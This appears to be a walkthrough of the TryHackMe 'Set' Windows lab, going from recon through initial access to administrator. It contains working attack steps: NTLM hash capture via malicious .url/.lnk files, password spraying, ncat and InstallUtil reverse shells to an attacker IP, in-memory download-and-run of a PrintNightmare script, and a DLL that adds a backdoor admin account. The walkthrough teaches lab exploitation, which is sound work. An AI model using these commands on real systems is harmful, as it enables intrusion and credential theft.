Set THM Walkthrough

Set

Set is a 90 points machine on TryHackMe developed and created by 4nqr34z and Omarbdrn. The Initial Foothold is about finding usernames and password spraying; later, we grab the NTLMv2 hash using responder, crack it, and get a Winrm session. For root, we exploit Veeam One Agent Service, by customizing Metasploit’s exploit. Later in the walkthrough, we will learn unintended solutions and different techniques to grab NTLMv2 in the latest Windows Domain Controller and the latest Windows patch. First, we start from the story provided by the author.

Story

Once again you find yourself on the internal network of the Windcorp Corporation. This tasted so good last time you were there, you came back for more.

However, they managed to secure the Domain Controller this time, so you need to find another server and on your first scan discovered "Set".

Set is used as a platform for developers and has had some problems in the recent past. They had to reset a lot of users and restore backups (maybe you were not the only hacker on their network?). So they decided to make sure all users used proper passwords and closed of some of the loose policies. Can you still find a way in? Are some user more privileged than others? Or some more sloppy? And maybe you need to think outside the box a little bit to circumvent their new security controls

From the story, we can guess it is something about related developers. Password policy and policies have become more mature.

Recon:

We will start our recon using RustScan and Nmap. I would like to use Rustscan for the ports, and for the services, we use Nmap.

RustScan

rustscan --range 1-65535 -a 10.10.167.18 -- -A -sC -sV -oN "Nmap_TCP.txt"

For the command, we specify --range, providing all ports, from 1 to 65535, Then we have to the append IP address of the host machine -a. Now for the Nmap part, we use --; this is used to specify that everything after it is for Nmap.

Nmap

Starting from the first tag, -A for aggressive scan, -sC for default scripts, -sV for enumerating versions, and -oN "Nmap_TCP.txt" to output to a file.

PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 124 Microsoft Windows RPC
443/tcp   open  ssl/http      syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=set.windcorp.thm
| Subject Alternative Name: DNS:set.windcorp.thm, DNS:seth.windcorp.thm
| Issuer: commonName=set.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-06-07T15:00:22
| Not valid after:  2036-10-07T15:10:21
| MD5:   d0eb 717c f7ef 3515 00d2 5d67 4beb dd69
| SHA-1: 9571 4370 bd9b cc80 08ef 7d1e 0dfc bbc2 251c e077
| -----BEGIN CERTIFICATE-----
| MIIDQTCCAimgAwIBAgIQPqCqVnulP4RF1x6k8HNXqDANBgkqhkiG9w0BAQsFADAb
| MRkwFwYDVQQDDBBzZXQud2luZGNvcnAudGhtMB4XDTIwMDYwNzE1MDAyMloXDTM2
| MTAwNzE1MTAyMVowGzEZMBcGA1UEAwwQc2V0LndpbmRjb3JwLnRobTCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMm4DQZ+hDcuel1PQ+DKGJXKo8dF2mR+
| SJHlyPssa2iZx43jTijsYp+MxRPxSYzSuDy5M0eOIySHBN0JGWSKHLclNiwhDgAU
| niPdrrPgreA1Hs1Zw5UN7iLEz56R7NhEPctUwZb6+ETjO4x91TU3JMenEF+1ZLv3
| ss3X3MXKdv8y/KuHNPXsFf1ubioYKV3gmdsSlwLQpcATQ7LjeMdncAN62/OvXpVQ
| sFAdJkO1/LXIJquNdMzdim3PvFyPBStY6oX9sD5AiJ9/iMa91aqYjL8MXw7zPS4N
| FKpW/Ksx1AxbG41LQieEeGwEcC6Yq2ohSUNk3/RUrUA3IxN3up94t20CAwEAAaOB
| gDB+MA4GA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUH
| AwEwLgYDVR0RBCcwJYIQc2V0LndpbmRjb3JwLnRobYIRc2V0aC53aW5kY29ycC50
| aG0wHQYDVR0OBBYEFNQ2+9chAM4hq3nKcxQtg8Ah/1A/MA0GCSqGSIb3DQEBCwUA
| A4IBAQBB6BNqxh1cxyeeQ2D1VQ4D7nqGjp0oLNuwFFVd1Pk9f0aWWm0w1ovqOcCR
| 8BrCTJJlk/FjIYUrqLBvgkyFx7cL706tEGrFtZwi1KtMg8qReBQQBYVKa7jjN8/U
| dWRrbYwNuPmmojFZ1dZWilw++vCSkXxIKHbP6vvZDs7XewFYCT3Snbo/gFc3FCdy
| DwXM5ZQkzZnfTs6dAURqf8L7AVMxwBLow1Wl3nLuxoFQ3ypu5AyWCLROK8n5h82h
| mJLZQ6ectkh1JzoHaP8zA0Q0hxMvflatVAUDSztATJ7bJ81yok9I1eA4Eu+QI+sO
| 2yLhYxKlaeRK4AJ226n7dOxyrr8d
|_-----END CERTIFICATE-----
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2022-04-26T15:59:38+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 124
5985/tcp  open  http          syn-ack ttl 124 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49666/tcp open  msrpc         syn-ack ttl 124 Microsoft Windows RPC

We can see that we have the standard ports open, a webserver, SMB, Winrm, and RPC from the scan. We will start from SMB, testing for anonymous login.

SMB

smbclient -L \\\\10.10.167.18\\           

For SMB enumeration, we use smbclient, appending -L for the host IP. The output is clean and tells us that we as “anonymous,” not allowed.

For now, it’s a dead end as we don’t have any username and password. From here, we enumerate the Web Server running on 443, on HTTP(s) protocol.

Web Server

Visiting the website, we see a 404, a small indication that we must need a valid hostname.

For a valid HostName, we can check the certificate on the web. We already used Nmap with default scripts and version enumeration; we should have a few names. Looking at the scan, we indeed have a hostname.

| ssl-cert: Subject: commonName=set.windcorp.thm
| Subject Alternative Name: DNS:set.windcorp.thm, DNS:seth.windcorp.thm
| Issuer: commonName=set.windcorp.thm

There is an alternate method to do this, we can check the certificate on the web.

So now we add the hostname in our host file. Revisiting the page with the correct hostname, we get a perfect webpage.

Enumerating a little, we have a Name Search functionality, we can enter a few alphabets, and it will give a name and a few more information.

Looking at this feature, we can see a javascript function been used, searchFor(). We open the search.js. file, and we see the same function.

The function points to an XML file called users.xml. Opening the XML file; we can see a list of usernames. There is a total of 120 usernames. We use curl to download the whole XML file.

curl -k "https://set.windcorp.thm/assets/data/users.xml" -o "users.xml"

Now that we have a complete users list, we can enumerate the web using some fuzzing tools. I am going to use feroxbuster.

feroxbuster -u "https://set.windcorp.thm/" -x asp,aspx,bak,txt -w "/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt" -k

The parameters are the usual ones. The -u for url, -w for a wordlist, -x for extensions. After a while, we find an engaging file, called appnotes.txt.

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.1
───────────────────────────┬──────────────────────
 🎯  Target Url             https://set.windcorp.thm/
 🚀  Threads                50
 📖  Wordlist               /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 👌  Status Codes           [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)         7
 🦡  User-Agent             feroxbuster/2.4.1
 💉  Config File            /etc/feroxbuster/ferox-config.toml
 💲  Extensions             [asp, aspx, bak, txt]
 🔓  Insecure               true
 🔃  Recursion Depth        4
 🎉  New Version Available  https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu
──────────────────────────────────────────────────
301        2l       10w      155c https://set.windcorp.thm/assets
301        2l       10w      159c https://set.windcorp.thm/assets/img
301        2l       10w      154c https://set.windcorp.thm/forms
301        2l       10w      160c https://set.windcorp.thm/assets/data
301        2l       10w      172c https://set.windcorp.thm/assets/img/testimonials
301        2l       10w      159c https://set.windcorp.thm/assets/css
301        2l       10w      164c https://set.windcorp.thm/assets/img/team
301        2l       10w      167c https://set.windcorp.thm/assets/img/clients
301        2l       10w      169c https://set.windcorp.thm/assets/img/portfolio
301        2l       10w      158c https://set.windcorp.thm/assets/js
200        2l       21w      186c https://set.windcorp.thm/forms/readme.txt
301        2l       10w      162c https://set.windcorp.thm/assets/vendor
200        8l       24w      146c https://set.windcorp.thm/appnotes.txt

Visiting and opening the file, we saw a note from an admin. Talking about default passwords.

Notes for the new user-module.

Send mail to user:

Welcome to Set!

Remember to change your default password at once. It is too common.

Initial Foothold:

Scripting for Usernames

Now that we have a complete users list, we can spray some command passwords. First of all we will extract <email> from the XML file. For that we will use some python scripting.

import re

users_file = "users.xml"
new_users_file = "final_users.txt"
regex_query = "\\<email\\>(.*)\\@windcorp\\.thm\\<\\/email\\>"

with open(users_file, "r") as f:
	data = f.read().strip()
	users = re.findall(regex_query, data)
	for user in users:
		with open(new_users_file, 'a') as f2:
			f2.write(user + "\n")
			f2.close()
	f.close()

The script will extract the values that are between the email entity. We will use the simple regex to match it. And later, we append everything to a file.

Password Spray

Now that we have all usernames in perfect format, we can spray passwords on SMB. We will use Metasploit for password spraying.

After a while, Metasploit indeed got the username and password.

myrtleowe:<Redacted>

From here, we can use SMB to enumerate shares.

smbclient -L \\\\10.10.167.18\\ -U "myrtleowe"

And we can indeed see a non-default share called Files. We try to use that share.

smbclient \\\\10.10.167.18\\Files -U "myrtleowe"

Inside the share, we got an Info.txt. Opening the file, we get our first flag and a small note.

Zip and save your project files here. 
We will review them

Force Ntlm Auth A.k.a Ntlm Hash Grabing

So we can upload a zip file into share, and they will review it. As we have to write access to the share, we can create a zip with a file that executes without opening it and then we can force NTLM authentication to grab their hash. In this scenario, we can create a few types of files, like scf, ink, url. In this walkthrough, we will use url and ink methods to grab the hash. First let get start with url file.

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.17.41.47\anything.icon
IconIndex=1

First, we create a URL file; with this content, the file will request our SMB share to access the icon file, And we start the responder to force NTLM authentication. As they are only accpeting zip, we create a zip file for it.

Now that we have a zip, we upload it to the writeable share.

And after a few seconds, we were able to get the hash.

We try to crack the hash using john.

john --wordlist='/usr/share/wordlists/rockyou.txt' hash

And after 7 seconds, we got the cracked password.

We can try to get a Winrm session as we have another credential.

sudo crackmapexec smb "10.10.120.14" -u 'MichelleWat' -p '!!!MICKEYmouse'

sudo crackmapexec winrm 10.10.120.14 -u 'MichelleWat' -p '!!!MICKEYmouse'

And using the credentials, we are in. Moving to Desktop, we have our second flag. I have shown it in the appendix menu if you are looking to grab a file using the lnk file.

Privilege Escalation:

Now we move forward to get administrator access to the system; we try to use automated scripts to enumerate. Let us try to upload PrivescCheck by itm4n.

Well, we are blocked by a PowerShell security feature called LanguageMode. To enumerate which LanguageMode is on our session, we can use a PowerShell command:

$ExecutionContext.SessionState.LanguageMode

#Values could be: FullLanguage or ConstrainedLanguage

The ConstrainedLanguage is a security feature created by Microsoft to stop the execution of malicious PowerShell payloads.

Manual Enumeration

We did some manual enumeration, and after a while, we came across local open ports.

# netstat -ao

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             SET:0                  LISTENING       4
  TCP    0.0.0.0:135            SET:0                  LISTENING       984
  TCP    0.0.0.0:443            SET:0                  LISTENING       4
  TCP    0.0.0.0:445            SET:0                  LISTENING       4
  TCP    0.0.0.0:2805           SET:0                  LISTENING       3180
  TCP    0.0.0.0:3389           SET:0                  LISTENING       856
  TCP    0.0.0.0:5985           SET:0                  LISTENING       4
  TCP    0.0.0.0:47001          SET:0                  LISTENING       4
  TCP    0.0.0.0:49664          SET:0                  LISTENING       696
  TCP    0.0.0.0:49665          SET:0                  LISTENING       1104
  TCP    0.0.0.0:49666          SET:0                  LISTENING       848
  TCP    0.0.0.0:49667          SET:0                  LISTENING       788
  TCP    0.0.0.0:49668          SET:0                  LISTENING       1176
  TCP    0.0.0.0:49670          SET:0                  LISTENING       772

We see an unusual port that the port didn’t expose, and we couldn’t see on Nmap scan 0.0.0.0:2805; searching for the PID, we came to know that the service is Veeam.One.Agent.Service.

Get-Process -Id <PID_OF_Port>

Now we can search in dept for version and search for public exploits. Looking into C:\Program Files, we have a directory name Veeam .Looking into more dept, we used ls and Format-List to get more information on the executable.

ls 'Veeam.One.Agent.Service.exe' | Format-List *

Searching for public exploits, we found a metasploit’s exploit Now first, we have to forward the port using the chisel. We start the server on our Linux machine.

chisel server -p 4444 --reverse

We use Invoke-Webrequest and upload the Chisel.exe to the victim box. And we run it by giving a few arguments.

Invoke-Webrequest -URI http://10.17.41.47/chisel.exe -Out C:\temp\c.exe
.\c.exe client 10.17.41.47:4444 R:2805:127.0.0.1:2805

And it got connected to our server, so now we can use Nmap to check if it worked or not.

Running the exploit, we got it working, but no session created.

This is beacuse the Windows Defender is blocking the payloads. First, we create a temp directory, then using Invoke-Webrequest, we transfer files, and then most importantly, we need to change permission so that any user can access it.

mkdir /temp
Invoke-Webrequest -URI http://10.17.41.47/ncat.exe -Out C:\temp\n.exe
cacls \temp\n.exe /e /p Everyone:f

For this we will use a ncat.exe that bypasses defender.

Customizing the exploit

First, we copy the original exploit. Then we open it in a text editor. Looking at the source code, we must modify a few things; we first add a custom command execution; this means we will create a new Target. This is the basic idea for adding a new target

[
	'NAME OF TARGET, '
	{
	  	'Arch' => [ARCH_X86 or ARCH_X64 or ARCH_CMD],
	  	'Type' => :TYPE,
	  	'DefaultOptions' => 
		{
			'PAYLOAD' => 'MSF Payload'
		}
	}
]

So using this template, we create a new target that executes a custom command.

[
	'Windows Custom Command',
	'Arch' => ARCH_CMD,
	'Type' => :win_cmd2,
	'DefaultOptions' => 
	{
		'PAYLOAD' => 'windows/x64/exec'
	}
]

Now that we have created a target, we add this to the source code. And we keep this option as default.

Now we have added a target, but we need to add options to the target, for this we modify register_options.

register_options([
  	Opt::RPORT(2805),
	OptString.new('HOSTINFO_NAME',[true, 'Name to send in host info (must be recognized by server!)', 'AgentController'])])
end

We add a new CMD option into the register_options.

OptString.new('CMD', [ true, "The command to execute", 'whoami > /windows/temp/whoam.txt' ]),

Now the last part, we have to add this into the exploit function. Looking at the function, we have to change the case and when, adding our own type win_cmd2. This is the default cases in the payload.

case target['Type']
	when :win_cmd
	  execute_command(payload.encoded)
	when :win_dropper
	  # TODO: Create an option to execute the full stager without hacking
	  # :linemax or calling execute_command(generate_cmdstager(...).join(...))
	  execute_cmdstager(
		flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0
		linemax: 9001 # It's over 9000
	  )
	when :psh_stager
	  execute_command(cmd_psh_payload(
		payload.encoded,
		payload.arch.first,
		remove_comspec: true
	  ))
end

We just add our custom type.

when :win_cmd2
	execute_command(datastore['CMD'])

So the final condition should look like this:

Now our custom exploit looks prefect, we save the file and start msfconsole.

use windows/misc/veeam_one_agent_deserialization
set RHOSTS 127.0.0.1
set CMD C:\temp\n.exe 10.17.41.47 1337 -e cmd.exe

Running the exploit, we get a shell as set user. And the user is part of administrator.

Appendix

Lnk Hash Grab

First of all, these are just links; When creating a file shortcut, this is the thing that is created. To create a shortcut link file, we use a tool called mslink. We download the bash version and generate an lnk file.

./mslink_v1.3.sh -l not important -n shortcut -i \\\\10.17.41.47\\test -o shortcut.lnk

Zip it again and then upload it to the writeable shares. After a few seconds, we should get hash.

Bypass ConstrainedLanguage

Let’s look at how we can bypass language mode using PSByPassCLM. First, we clone the repo, compile it using Visual Studio. Make sure to obfucate the code so that windows defender doesn’t catch it.

Now we upload the executable. We are using Invoke-Webrequest.

Invoke-Webrequest -URI http://10.17.41.47/PsBypassCLM.exe -Out p.exe

Now we can run and get a reverse shell like this.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.17.41.47 /rport=1337 /U C:\temp\p.exe

And we should get a call back on our nc.

Printer Spooler

Once we are able to execute powershell, we upload PrintNightmare and we create a custom dll to add our own user to the system. The custom dll looks like this.

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
  switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
      system("net user sha5hwat 'P@ssword1!!' /add");
      system("net localgroup Administrators sha5hwat /add");
      system("net localgroup \"Remote Management Users\" sha5hwat /add");
      break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

We will compile it in linux machine using x86_64-w64-mingw32-gcc.

x86_64-w64-mingw32-gcc rev.cpp -shared -o rev.dll

Now we execute a powershell script in memory.

IEX(New-Object Net.WebClient).downloadString('http://10.17.41.47/CVE-2021-1675.ps1')

Executing the above command we got a hit on our http server, and now we can upload our own custom dll, that we want to execute with the PrintNightmare.

Invoke-Webrequest -URI http://10.17.41.47/rev.dll -Out pwn.dll

Now that we have both the thing ready, we can simply execute PrintNightmare.

Invoke-Nightmare -DLL C:\temp\pwn.dll

Now that we exeuted that, we can execute a command to get check if the user is created or not.

net user sha5hwat

And from the output we can see, we are in admins groups and we can read the root flag.